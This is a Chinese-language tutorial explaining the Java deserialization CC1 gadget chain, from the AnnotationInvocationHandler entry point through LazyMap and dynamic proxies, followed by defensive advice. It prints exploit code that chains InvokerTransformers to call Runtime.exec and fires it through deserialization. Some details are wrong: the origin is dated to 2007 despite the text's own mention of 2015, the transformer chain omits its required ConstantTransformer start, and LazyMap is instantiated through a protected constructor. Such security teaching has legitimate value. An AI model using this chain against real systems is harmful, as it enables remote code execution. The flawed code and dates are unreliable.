2026/10/10 9:51:24

Java反序列化漏洞CC1利用链详解:从原理到防御

Java反序列化漏洞CC1利用链详解:从原理到防御 1. 一次反序列化漏洞的“课前预习”先聊点轻松的。假设你写了一个Java程序负责把用户对象保存到文件里方便下次启动时直接恢复。Java的序列化机制能干这事把对象变成一堆字节再写进磁盘。下次用的时候反序列化把这堆字节变回对象。听起来很完美对吧问题就出在“变回对象”这一步——如果字节流是攻击者精心构造的那变回来的可能就不是普通对象而是一连串恶意动作。这就是Java反序列化漏洞的核心逻辑。关于它的经典利用链很多但几乎所有入门教程都会从CC1开始。CC1全称是Commons Collections 1是2007年被发现并公开的一条利用链。它之所以经典是因为它把“反序列化”和“动态代理”“反射”“方法拦截”这几个概念串在一起一条链子打通了从“入口”到“命令执行”的全过程。你把它搞懂了后面再看CC3、CC6、CC7基本上就是换汤不换药理解成本直线下降。这篇文章主要面向谁已经会写Java基础代码、知道反射和动态代理大概是什么、但还没系统接触过安全攻防的开发者。如果你是纯小白建议先补一下这几个概念不然直接上手会有点吃力。我会尽量把每个环节的“为什么”讲清楚而不是甩一段POC就完事。搞安全最忌“知其然不知其所以然”那样你连自己写的EXP为什么会失败都排查不了。先说清楚这篇文章里的所有代码和思路仅用于本地环境的学习与验证不涉及任何真实系统也不应该拿去测试你没有授权的目标。反序列化漏洞本身是个很有意思的编程逻辑问题搞清楚它对写健壮代码也有帮助——你至少知道哪些库用起来要小心哪些写法容易埋雷。2. CC1利用链的核心思路拆解2.1 从“入口”说起为什么是AnnotationInvocationHandlerCC1利用链的入口点是sun.reflect.annotation.AnnotationInvocationHandler。这个类在JDK里是Java注解处理机制的一部分。为什么选它因为它实现了InvocationHandler接口同时也实现了Serializable接口——既能被反序列化又能在反序列化后触发动态代理的调用逻辑。这两个条件缺一不可。这里就体现出入门者最容易忽略的一点找利用链就是在找一条“从readObject到危险方法”的路径。readObject是反序列化的入口几乎所有利用链都要从某个类的readObject方法开始“点火”。AnnotationInvocationHandler的readObject方法里会读取反序列化得到的Map成员变量然后遍历Map的key并且对每个key执行entry.getValue()之类的方法调用。这一调就把控制流引向了我们精心准备的Map。我想重点强调一下这个“控制流”的概念。安全利用链本质上就是控制流拼接。正常程序里readObject只是恢复数据但在攻击者眼中readObject是一个可以触发任意方法调用的“跳板”。你只要控制好这个跳板的目的地就能让程序执行你想要的逻辑。CC1链的核心就是通过控制AnnotationInvocationHandler的Map成员让它把调用导向InvokerTransformer——这才是整个链子的关键转折点。2.2 “扳机”所在Transformer与InvokerTransformerInvokerTransformer是Apache Commons Collections库里的一个类位于org.apache.commons.collections.functors包。它本身是实现Transformer接口的这个接口只有一个方法transform(Object input)。InvokerTransformer的用法很特别你在构造它时传入方法名、参数类型和参数值然后在transform被调用时它会通过反射对传入的对象执行这个方法。打个比方InvokerTransformer就像一个“遥控器”。你提前设定好“按哪个按钮”方法名和“按完做什么”参数等你把遥控器交给别人让别人的代码调用它的transform方法对方按下按钮命令就执行了。在CC1链里我们想让transform方法执行的是Runtime.getRuntime().exec(计算器命令)这样就能在目标机器上执行任意命令。为什么选Runtime而不是别的因为Runtime是JDK内置的、可以直接执行系统命令的类而且它的构造方法被藏起来了只能通过getRuntime()拿实例。所以在利用链里我们要做的是反射调用Runtime.class.getMethod(getRuntime)再调exec。这个细节非常关键很多新手第一次写的时候直接Runtime.getRuntime().exec()就完事了但反射的写法必须拆成两步因为InvokerTransformer一次只能调用一个方法。3. 关键类逐个击破LazyMap、ChainedTransformer与动态代理3.1 ChainedTransformer把多个步骤串起来先看ChainedTransformer。它也是Transformer接口的实现类但它的作用是把一组Transformer串起来前一个的输出作为后一个的输入。这个设计初衷挺朴素的——你想把数据做一系列变换比如先转成大写再截断再拼上后缀ChainedTransformer就能帮你按顺序执行。但在攻击链里它成了一个完美的“流水线”第一步拿到Runtime类第二步调用getRuntime()得到实例第三步调用exec执行命令。这三步正好对应三个InvokerTransformer。你把这三个transformer塞进ChainedTransformer只要触发一次transform整条流水线就自动跑完最终在目标机器上弹出计算器或者执行命令。这里我要提醒一下构造InvokerTransformer时方法名和参数类型必须完全匹配不然反射会抛NoSuchMethodException。很多人在这一步卡住以为是链子断了其实是参数类型没写对。比如getRuntime和exec的参数类型前者是无参后者是String.class这些细节在写代码时一点都不能错。3.2 LazyMap延迟只有一层再来看LazyMap。它包装了一个普通的Map当你调用get(key)时如果key不存在它会调用一个Transformer的transform方法用返回值作为这个key的默认值然后放进Map里。这个机制本来是给工厂模式用的——延迟创建对象优化初始化性能。但在CC1链里LazyMap成了“触发点”。因为AnnotationInvocationHandler在遍历Map的key时会调用map.get(key)而如果这个map是LazyMap且key在Map里不存在get就会触发transform进而启动ChainedTransformer的流水线最终执行命令。这条链的关键在于“key不存在”这个条件。如果你的LazyMap里已经包含那个keyget就会直接返回已存在的值根本不会触发transform。这是CC1链的一个“踩坑点”也是后面调试时最常见的失败原因。很多新手一上来就把key随便填一个值结果LazyMap里恰好有它整条链静默失效毫无反应这是最容易让人抓狂的一个细节。3.3 动态代理绕过readObject边的“最后一跳”到这里链条基本成型AnnotationInvocationHandler.readObject - map.get(key) - LazyMap.get - ChainedTransformer.transform - Runtime.exec。但如果你真按这个思路去构造会发现实际跑不通。为什么因为AnnotationInvocationHandler的readObject方法里对Map的遍历调用方式和你想的不太一样——它调用的不是get而是在某些条件下才走到get这个“某些条件”不是总能满足的。这时候就轮到动态代理登场了。动态代理是Java提供的运行期生成代理类的机制当你调用代理对象的任意方法时控制流都会先进入InvocationHandler.invoke方法。如果把LazyMap放在AnnotationInvocationHandler的memberValues位置外部对Map的entrySet等方法的调用都会先经过invoke而在invoke里又能调用this.memberValues.get从而触发LazyMap的transform。这个过程文字描述有点绕我画个步骤列表帮你梳理一下Proxy.newProxyInstance创建一个代理对象代理的接口是Map。代理对象的InvocationHandler就是那个AnnotationInvocationHandler实例它也持有LazyMap。对代理对象调用entrySet或任何方法都会进入AnnotationInvocationHandler.invoke。invoke内部如果方法名不是toString之类特殊方法就执行this.memberValues.get(name)。memberValues是LazyMapget触发ChainedTransformer。命令执行完成。这就是CC1里“动态代理”的妙处它不仅让Map接口的调用被InvocationHandler接管而且把自己的memberValues作为LazyMap暴露出去让代理对象的方法调用能够间接触发LazyMap.get。这个思路后来在其他利用链里被反复使用比如TemplatesImpl配合动态代理绕过限制的变体形式。4. 实操验证与代码细节记录4.1 环境准备JDK版本与依赖缺一不可在动手之前环境要选对。CC1链对于JDK版本有讲究高版本JDK大约8u71之后里AnnotationInvocationHandler的readObject被做过一次改动导致原有的“直接通过readObject遍历Map”这条路径失效。所以调试CC1最稳的组合是JDK 8u20左右配合Commons Collections 3.1或3.2.13.1最原始3.2.1也常用。高版本JDK能不能跑能但需要换入口或加辅助类那已经是变体链的学习范围了。依赖方面你只需要一条commons-collections的jar包放到项目的classpath里即可。我用的是Maven工程直接在pom.xml里加依赖dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.1/version /dependency注意Commons Collections 4.x版本的包名和内部结构有了变动比如InvokerTransformer还在但包路径变成了org.apache.commons.collections4.functors而且很多类加了final修饰不直接支持这条链。所以学习CC1请务必使用3.x版本。4.2 逐步构建利用链的代码片段下面是验证用的关键代码。为了控制篇幅我拆成几段写逻辑上是连贯的。第一步构造用于执行命令的三个InvokerTransformerTransformer[] transformers new Transformer[] { new InvokerTransformer( getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] } ), new InvokerTransformer( invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( exec, new Class[] { String.class }, new Object[] { open -a Calculator } ) }; ChainedTransformer chainedTransformer new ChainedTransformer(transformers);第二段构造LazyMap并放入一个不存在的key占位Map map new LazyMap(new HashMap(), chainedTransformer);第三段构造AnnotationInvocationHandler并通过动态代理让它变成Map接口的代理Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor constructor clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true); InvocationHandler handler (InvocationHandler) constructor.newInstance(Override.class, map); Map proxyMap (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] { Map.class }, handler );第四段真正构造用于反序列化的Payload对象。注意这里要再包一层AnnotationInvocationHandler把上面生成的proxyMap作为它的memberValues传进去再通过readObject触发动态代理路径InvocationHandler finalHandler (InvocationHandler) constructor.newInstance(Override.class, proxyMap); // 序列化 ByteArrayOutputStream bos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(bos); oos.writeObject(finalHandler); oos.close(); // 反序列化触发Payload ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject();这段代码跑起来如果一切正常会看到计算器被弹出。这是安全社区惯用的验证方式。但我要说清楚这四段代码之间每一步的构造都是有原因的尤其是“两次创建AnnotationInvocationHandler”这个环节新手特别容易绕晕。第一层handler是给动态代理用的让代理对象的方法调用被拦截第二层finalHandler才是真正要被序列化后反序列化的那个对象它的memberValues是proxyMap所以当readObject处理它时会去遍历memberValues而memberValues本身是个代理对象遍历操作就会被代理拦截最终走到LazyMap.get。4.3 我实际踩过的坑与调试技巧第一次写CC1时我犯过三个低级错误这里直接给你避坑第一个坑AnnotationInvocationHandler的构造函数不公开必须用getDeclaredConstructor拿到所有构造函数并且setAccessible(true)才能实例化。很多IDE自动补全里看不到这个构造函数以为它不存在其实只是包了一层访问权限而已。第二个坑动态代理的接口必须包含Map但你创建的代理对象不能是AnnotationInvocationHandler本身强转来的因为你拿到的实际对象是Proxy.newProxyInstance返回的代理对象。如果强转不对类转换异常也是常见的报错。第三个坑LazyMap的key不能提前存在。上面代码里我把proxyMap作为finalHandler的memberValues而动态代理的方法调用会传入“方法名”作为key比如entrySet这个名字在proxyMap里并不存在所以每次调用都会触发transform。如果你之前往proxyMap里放了一个同名的key那get就直接返回了链子就断了。调试的时候可以用System.out.println打印map.containsKey(entrySet)确保是false。另外我强烈建议学习反序列化链时配一个可以逐步单步调试的IDE比如IDEA把断点打在ChainedTransformer.transform入口一行一行看调用栈。你亲眼看到transform被触发时程序员会豁然开朗原来整个链的“发力点”在这里。这种“亲眼所见”的理解深度是看任何文章都代替不了的。5. 版本差异与绕过空间的延展思考5.1 JDK版本为何如此敏感上面已经提过AnnotationInvocationHandler在JDK 8u71以后有过一次安全加固。具体改了什么简单说就是readObject里不再直接对memberValues进行遍历而是新增了“必须校验memberValues的类型”之类的条件。结果导致原来的直接触发路径失效攻击者不得不另想办法绕过。这种“版本敏感性”在Java反序列化漏洞里特别常见。2015年前后一大批利用链被公开都是在旧版本JDK上验证的。随着JDK不断打补丁有些入口还能用有些就彻底退场。所以做安全研究一定要记录自己用的JDK版本和Commons Collections版本不然过了几个月回来同样的代码跑不通你会怀疑自己是不是记错了。给新手一个建议搭一个专门的调试环境把JDK版本固定下来。你可以装一个JDK 8u20的版本配合一个8u202高版本的JDK两个环境都配好方便对比不同版本的行为差异。这种“对照组”思路比死记硬背漏洞利用条件要管用得多。5.2 从CC1到后续利用链的“家族相似性”CC1学完之后再看CC3、CC6、CC7会容易很多。为什么因为它们都共用同一个核心武器——InvokerTransformer和ChainedTransformer只是在“谁先触发”这个问题上换了不同的入口或者辅助类。CC3改用了TemplatesImpl来触发绕过了一些环境对InvokerTransformer的限制。CC6利用了HashSet或HashMap的反序列化特性让触发点不再依赖JDK版本太深。CC7则是换了一个Hashtable的入口绕过了某些JDK版本对AnnotationInvocationHandler的限制。所以CC1是地基地基打得稳后面的楼才好盖。如果你只想“背Payload”不深入理解控制流是怎么一步步被接上的遇到版本升级或者依赖变化就会寸步难行。6. 面向防御的思考这条链告诉了我们什么从防御角度看CC1链至少给我三个重要提醒。第一个提醒不要轻易反序列化不可信数据。任何来自网络、用户输入、外部文件的字节流只要走了ObjectInputStream.readObject()就相当于给攻击者开了一条“逻辑执行通道”。很多业务系统里反序列化被用在缓存、消息队列、Session持久化等场景开发者根本没想过数据可能被篡改。第二个提醒依赖库的版本管理要严谨。Commons Collections在过去很长一段时间被大量项目使用很多老系统至今还带着3.x版本的库。攻击者只要探测到你用了这个库再找出对应的利用链就能直接打穿。如果你没法升级这个大版本因为兼容性问题至少要加反序列化过滤比如ObjectInputFilter只允许白名单类通过。第三个提醒代码审计时要关注危险类。对于安全开发者来说InvokerTransformer这类“反射调用任意方法”的组件天然是高风险项。即便不是为了攻击在自己代码里如果出现了“把外部可控的字符串拼进方法名然后反射调用”的写法也应当警惕。这是反序列化漏洞的同一个毛病——不加约束的“动态行为”。我在实际工作中会习惯性地在代码评审时列出所有继承Serializable且重构了readObject的类逐个看它们的readObject里做了什么。这个习惯在看过十几个利用链之后会形成直觉因为你会发现很多“看似正常”的序列化类在特定条件下都能变成攻击者的跳板。7. 最后的实操小结与调试建议这篇文章讲到这里核心内容已经齐了。如果你是自己动手学习我建议按这个步骤来而不是直接复制全文代码只写一个InvokerTransformer手动调用它的transform方法传入一个Runtime对象看看能不能反射调用exec。这一步是验证“扳机”是否有效。把三个InvokerTransformer拼成ChainedTransformer手动调用一次transform确认流水线能跑通。把ChainedTransformer放进LazyMap手动调用map.get(随便一个不存在的key)确认transform被触发。引入AnnotationInvocationHandler和动态代理完成整条链的拼接。最后做序列化与反序列化整体验证弹计算器。每走一步都在IDE里设一个断点观察变量值和调用栈。这种“从零件到整机”的搭建过程比直接跑通一个POC更能加深理解。如果你在调试中发现命令没执行从三个方向排查一是LazyMap的key是否已经存在二是InvokerTransformer的方法名和参数类型是否匹配三是finalHandler的memberValues是否为proxyMap而不是原始LazyMap。八成是这三个原因之一。最后提醒一句反序列化漏洞的学习重点在于理解“不可信数据如何被诱导成为控制流跳板”而不是教你如何使用工具去攻击。搞懂了原理再去写防御代码才能真正做到心中有数。这也是安全这个领域最有意思的地方——你越了解攻击者的精巧构思你就越能明白那些“看起来没什么问题”的代码防线到底脆弱在哪里。下一步你可以带着这份理解去拆解CC6或者CC3到时候你会觉得原来整个家族都是同一个套路。